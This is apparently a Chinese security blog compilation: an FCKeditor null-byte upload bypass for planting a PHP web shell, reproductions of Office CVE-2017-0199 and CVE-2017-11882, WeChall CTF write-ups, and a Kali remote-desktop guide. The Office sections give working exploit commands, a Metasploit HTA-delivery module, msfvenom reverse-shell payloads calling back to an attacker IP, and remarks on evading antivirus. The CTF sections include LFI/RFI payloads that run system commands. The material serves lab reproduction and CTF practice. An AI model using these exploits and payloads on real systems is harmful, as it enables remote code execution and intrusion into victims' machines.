FCKeditor 上传漏洞-截断上传

介绍

FCKeditor编辑器还是使用比较广泛的网站后台编辑器,在此次实战中应用了截断上传漏洞,不过有些不同的是,截断的不是文件名,而是上传路径。适用版本:<=2.6.4

涉及手段: %00截断、文件覆盖

实战

 一开始,尝试在文件名后截断,但全都无果,Google后发现篇paper,使用之,成功upload。主要思路文件夹截断,并把文件夹名当作上传文件名,从而绕过对文件名的验证

 Step 1:在本地编辑好PHP一句话,并且保存为txt格式。(不免杀)



 Step 2:选择PHP上传,并选中编辑好的txt文件。



 Step 3:用burpsuite抓包,在文件夹路径下写好上传后的文件名,并在最后用%00截断,如下图:








 Step 4:改好后放行,可以看到文件成功上传,然后访问返回的command.php



 Step 5:在这执行系统命令,但可以会受到权限限制。



 Step 6:同样的方法可用于一句话上传,然后使用菜刀连接。

参考链接

File-Upload-Vulnerability-in-FCKEditor.pdf


FCKeditor各版本绕过

Office CVE-2017-0199复现

介绍


本文介绍在Ubuntu 14.04服务器版本下复现office cve-2017-0199。

环境

ubuntu 14.04服务器版

目录

1、验证

 Step 1:安装apache2服务



 Step 2:在网站根目录下创建1.rtf,内容如下:

1
2
3
4
test789 
<script>
var objShell = new ActiveXObject("wscript.shell"); objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>

 Step 3:验证apache的配置文件mime.types里有rtf的content type项
因为mime.types的位置可能因系统而不同,所以直接使用find命令查找位置



 查看该文件,可以看到



 Step 4:使用office 2013 pro 创建空白文档,然后点击“插入”  “对象”,
在文件名上填写完整的网页地址,选择链接到文件



 点击“确定”,然后在文档中可以看到 test789。



 注:在此步中,很可能不成功,具体原因未知。
具体现象:在链接到1.rtf时显示找到路径,不存在该文件。但去链接同目录下的index.html文件时可以成功,成因未知。

 Step 5:将mime.types中的application/rtf rtf 改成 application/hta rtf
重启apache服务





 Step 6:双击对象







 可见成功利用CVE-2017-0199漏洞


2、取消交互

 为了取消用户交互,也就是让用户去双击
 Step 1:将文件另存为.rtf格式



。。。。。直接被卡巴检测到恶意文件.



 Step 2:用文本编辑器打开刚才保存的rtf格式文件,找到object标签所在地方



 把{object\objautlink\rsltpict 改成 {object\objautlink\objupdate\rsltpict

 保存文件再打开,这样就不用用户交互了。

 此时在虚拟机中新建一个空白文档,这时,在点击链接到文件后已经会自动弹出计算器了
虚拟机环境:win7,office 2010 pro








———-

### 3、Get Shell
 在kali中利用exploit
 Github地址:https://github.com/bhdresh/CVE-2017-0199

下载后,在情景1下实验

1
2
3
4
5
6
7
1) Generate malicious RTF file
# python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.doc -x 1
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
# python cve-2017-0199_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe


按以上命令依次运行




 可证实该exploit可行。
 但生成的.rtf在执行时会被杀软报毒,需要解决。

Wechall WriteUp

初入ctf,写下记录以便查看。这里是wechall的一些题解。

目录


1. Training: Tracks (HTTP)

1、进入投票页面



点击 + 号,



再次点击进行投票。



此时完成第一次投票。进行第二次时会报错。



这时,我们将VOTE cookie删掉,如果不删会导致后续不成功。



打开burpsuite,抓包改包。修改If-None-Match的值,请求更新数据,因为服务器一开始会分配Etag,然后下次检测时会对比两者的值,如果一样就不更新数据,导致无法投票。

然后投票成功,通过题目。




2、Training: Baconian (Stegano, Encoding, Crypto, Training)

这题是解密培根密码,培根密码有两种密码表,并使用’A’、’B’代替0,1进行编码。
第一种密码表:



第二种密码表:



假如我要加密‘hello’,按照第一种方法加密的结果为:aabbb,aabaa,ababa,ababa,abbab;第二种为:aabbb,aabaa,ababb,ababb,abbba。
假如要解密‘WOrld…’,把整个字符串的大小写代表着‘A’、‘B’编码,所以这里有两个编码可能性,一是大写代表‘A’,小写代表‘B’,第二种相反。同时这里又有两种密码表,所以这里一共有2*2=4种可能性。
大写代表‘A’,小写代表‘B’,用第一种密码表可得:‘h’,第二种为:‘h’,这里刚好一样。
大写代表‘B’,小写代表‘A’,用第一种密码表没有结果,第二种为:‘y’。

所以将题目中给出的字符进行清洗,去除非字母字符包括数字。然后写个python脚本 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import re
Str = ‘………..’
arr = re.findall('.{5}', str)
alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
first_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","babaa","babab","babba","babbb","bbaaa","bbaab"]
second_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","baabb","babaa","babab","babba","babbb"]

keyword1 = ""
keyword2 = ""
keyword3 = ""
keyword4 = ""
for one in arr:
toab1 = ""
toab2 = ""
for i in one:
if i.isupper():
toab1 += 'b'
toab2 += 'a'
else:
toab1 += 'a'
toab2 += 'b'

for local,ab in enumerate(first_cipher):
if ab == toab1:
keyword1 += alphabet[local]
if ab == toab2:
keyword3 += alphabet[local]

for local,ab in enumerate(second_cipher):
if ab == toab1:
keyword2 += alphabet[local]
if ab == toab2:
keyword4 += alphabet[local]

print(keyword1)
print(keyword2)
print(keyword3)
print(keyword4)

在输出中匹配‘is’,(别问为什么可以如此操作,,,直觉)并替换‘x’为空格。即可得出flag:iblpsclsennp






3、Repeating History (Research)

打开题中给出的github项目地址,找到该题目的文件夹。发现有两个文件夹,然后,,找。。。



先打开history



然后在install.php中可以找到$solution = ‘2bda2998d9b0ee197da142a0447f6725’; 进行md5解码可得“wrong”,发现是错误的。再查看提交记录。



查看图示中的历史



可以找到真实的solution。



翻遍这个文件夹也没有找到其他信息,返回打开repeating文件夹,可以找到第一部分。

1
Oh right... the solution to part one is '<?php /*InDaxIn*/ ?>' without the PHP comments and singlequotes.

所以,flag为:InDaxInNothingHereMoveAlong


4、PHP 0818 (Exploit, PHP)

审计,可以看到要提交的魔数,但在前面的for循环中又不允许出现“1-9”的数字。同时,return时用的是“==”而不是“===”,所以可能是弱类型利用。将魔数进行16进制转换,可以得到:deadc0de,0并不在其中。所以提交0xdeadc0de,解决问题。




5、Warchall: Live LFI (Linux, Exploit, Warchall)

文件包含,打开链接,发现只有设置网站语言的地方有参数传递,所以尝试构造:http://lfi.warchall.net/index.php?lang=solution.php。



一看有戏,尝试读取文件源码。这里介绍读源码的两种:

?file=data:text/plain,<?php system("cat solution.php")?>
?file=php://filter/read=convert.base64-encode/resource=index.php

构造:http://lfi.warchall.net/?lang=php://filter/read=convert.base64-encode/resource=solution.php。

Base64解密后可得:SteppinStones42Pie


6、Warchall: Live RFI (Linux, Exploit, Warchall)

与上题类似,读取文件,构造:http://rfi.warchall.net/index.php?lang=php://filter/read=convert.base64-encode/resource=solution.php。



Base64解码:

1
2
3
4
5
6
<html>
<body>
<pre>NOTHING HERE????</pre>
</body>
</html>
<?php return 'Low_H4NGING_Fruit'; ?>

这里也可以用:http://rfi.warchall.net/index.php?lang=data:text/plain,<?php system("cat solution.php")?>。



点击查看源代码:



手工,提交。


7、Can you read me (Coding, Image)

Description
    A friend and me have a bet running, that you won't beat his OCR program in scanning text out of images.
    His average scan time is 2.5 seconds, can you beat that?

要求在2.5s内识别并提交,首先安装tesseract:

1
apt install tesseract-ocr。

编写python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import os

cookie = {
'WC':'9953502-36792-3nWdWNVeHmWfnYj',
}
html = requests.get('http://www.wechall.net/challenge/can_you_readme/gimme.php', cookies=cookie)
png = open('png.jpg', 'wb').write(html.content) #写图片要使用二进制,并且使用html.content,而不是html.text

log = os.system('tesseract png.jpg png -l eng')
keyword = open('dec.txt', 'r').readline().rstrip('\n')
print('keyword is ' + keyword)
url = 'http://www.wechall.net/challenge/can_you_readme/index.php?solution={0}&cmd=Answer'.format(keyword)
page = requests.get(url, cookies=cookie)
print(page.text)

搞定。

Windows 远程连接 kali

这篇文章成功解决了windows下远程连接 kali 的一些问题,免去了网上一些教程中提到的卸载桌面再安装桌面的步骤。

本篇教程的系统环境为:
windows 7 专业版
kali linux 2016-2


Step 1:安装xrdp

1
# apt-get install xrdp

Step 2:安装vnc4server

1
# apt-get install vnc4server

Step 3:编辑xrdp配置文件

1
# nano /etc/xrdp/xrdp.ini

为了防止出现诸如以下错误,需对该配置文件进行修改。



将原来max_bpp=32改成max_bpp=16,以防止远程连接时闪退。



Step 4:开启xrdp服务

1
2
# service xrdp start
# service xrdp-sesman start

Step 5:开启VNC服务

1
# cnvserver

输入连接密码



Step 6:在windows下运行mstsc





因为远程服务器将颜色调成了32位,所以我们需要在本地上调整颜色深度。



这里选择Xvnc,然后输入用户、密码。



可以看到成功连接到kali。



Office CVE-2017-11882复现


这两天,office又出名了,CVE-2017-11882成了圈里关注的热点,今年office爆出好几个漏洞,从CVE-2017-0199、CVE-2017-8570到现在的CVE-2017-11882,exp也是越来越简单粗暴。

下面,我也来蹭波热度。


Step1:万年计算器POC

POC GitHub:可以使用国外出现的第一份poc:https://github.com/embedi/CVE-2017-11882,不过已经停止更新了。这里我使用:https://github.com/Ridter/CVE-2017-11882。
使用clone或直接下载zip都行:

1
git clone https://github.com/Ridter/CVE-2017-11882.git

进入项目文件

1
2
root@Kali:~/hackhub/CVE-2017-11882# python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o calc.doc
[*] Done ! output file --> calc.doc

用靶机打开



至此,以验证该漏洞存在。想在0199的时候还需要自己避免交互,现在poc直接帮你解决。。。


Step2:Get Shell

1、还是使用上一步的脚本

1
2
root@Kali:~/hackhub/CVE-2017-11882# python Command109b_CVE-2017-11882.py -c "mshta http://192.168.1.231:8080/abc" -o test.doc
[*] Done ! output file --> test.doc

先把doc文档放到靶机。

2、上msf
首先添加利用脚本,我机子msf exp的路径是/usr/share/metasploit-framework/modules/exploits/windows,可以在这目录下新建一个文件夹。
将下面的脚本写入到PS_shell.rb。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end

def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end


def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

打开msf,执行msfconsole。进去后记得要 reload_all。选择PS_shell脚本,然后开启监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf > use exploit/windows/new-exps/PS_shell 
msf exploit(PS_shell) >
msf exploit(PS_shell) >
msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(PS_shell) > set lhost 192.168.1.231
lhost => 192.168.1.231
msf exploit(PS_shell) > set uripath abc
uripath => abc
msf exploit(PS_shell) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.231:4444
[*] Using URL: http://0.0.0.0:8080/abc
[*] Local IP: http://192.168.1.231:8080/abc
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.1.231:8080/abc"


这里,Msf官方已经出了office_ms17-11882.rb的利用脚本。链接:
office_ms17-11882.rb,我还没有试,不过大家可以尝试。

回到靶机,打开test.doc。



此时,我们可以发现,shell已经反弹回来了.





至此,已经 get shell。


免杀版本

暂无,但是如果杀毒没有更新,还是能bypass的。。。

参考链接:


http://www.cnblogs.com/Hi-blog/p/7878054.html


http://payloads.online/archivers/2017-11-22/1

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×